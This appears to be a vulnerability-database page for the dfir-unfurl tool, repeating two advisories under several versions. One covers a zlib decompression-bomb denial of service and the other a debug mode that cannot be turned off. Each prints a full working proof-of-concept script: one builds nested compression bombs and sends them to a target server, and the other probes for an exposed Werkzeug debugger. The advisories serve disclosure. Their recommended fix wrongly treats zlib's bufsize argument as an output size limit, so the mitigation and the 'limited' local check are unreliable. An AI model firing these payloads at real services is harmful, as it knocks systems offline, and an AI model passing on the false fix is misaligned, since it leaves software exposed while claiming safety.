dfir-unfurl

Version	Released
`20260405` unknown	Apr 05, 2026
`20250810` unknown 2 CVEs	Aug 10, 2025
`20250312` unknown 2 CVEs	Mar 12, 2025
`20250218` unknown 2 CVEs	Feb 18, 2025
`20241121` unknown 2 CVEs	Nov 21, 2024
`20241120` unknown 2 CVEs	Nov 21, 2024
`20240627` unknown 2 CVEs	Jun 29, 2024
`20240626` unknown 2 CVEs	Jun 29, 2024
`20240625` unknown 2 CVEs	Jun 28, 2024
`20230901` unknown 2 CVEs	Sep 17, 2023
`20230900` unknown 2 CVEs	Sep 17, 2023
`20221100` unknown 2 CVEs	Nov 08, 2022
`20220200` unknown 2 CVEs	Feb 10, 2022
`20210615` unknown 2 CVEs	Jun 14, 2021
`20210311` unknown 2 CVEs	Mar 11, 2021
`20210310` unknown 2 CVEs	Mar 11, 2021
`20210309` unknown 2 CVEs	Mar 11, 2021
`20210308` unknown 2 CVEs	Mar 11, 2021
`20201102` unknown 2 CVEs	Nov 04, 2020
`20200812` unknown 2 CVEs	Aug 12, 2020
`20200729` unknown 2 CVEs	Jul 30, 2020
`20200703` unknown 2 CVEs	Jul 03, 2020
`20200702` unknown 2 CVEs	Jul 03, 2020
`20200630.4` minor 2 CVEs	Jun 30, 2020
`20200630.3` minor 2 CVEs	Jun 30, 2020
`20200630.2` initial 2 CVEs	Jun 30, 2020
`20200630` unknown 2 CVEs	Jun 30, 2020
`20200629` unknown 2 CVEs	Jun 30, 2020

20260405 unknown

Apr 05, 2026

20250810 unknown

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Aug 10, 2025

20250312 unknown

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Mar 12, 2025

20250218 unknown

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
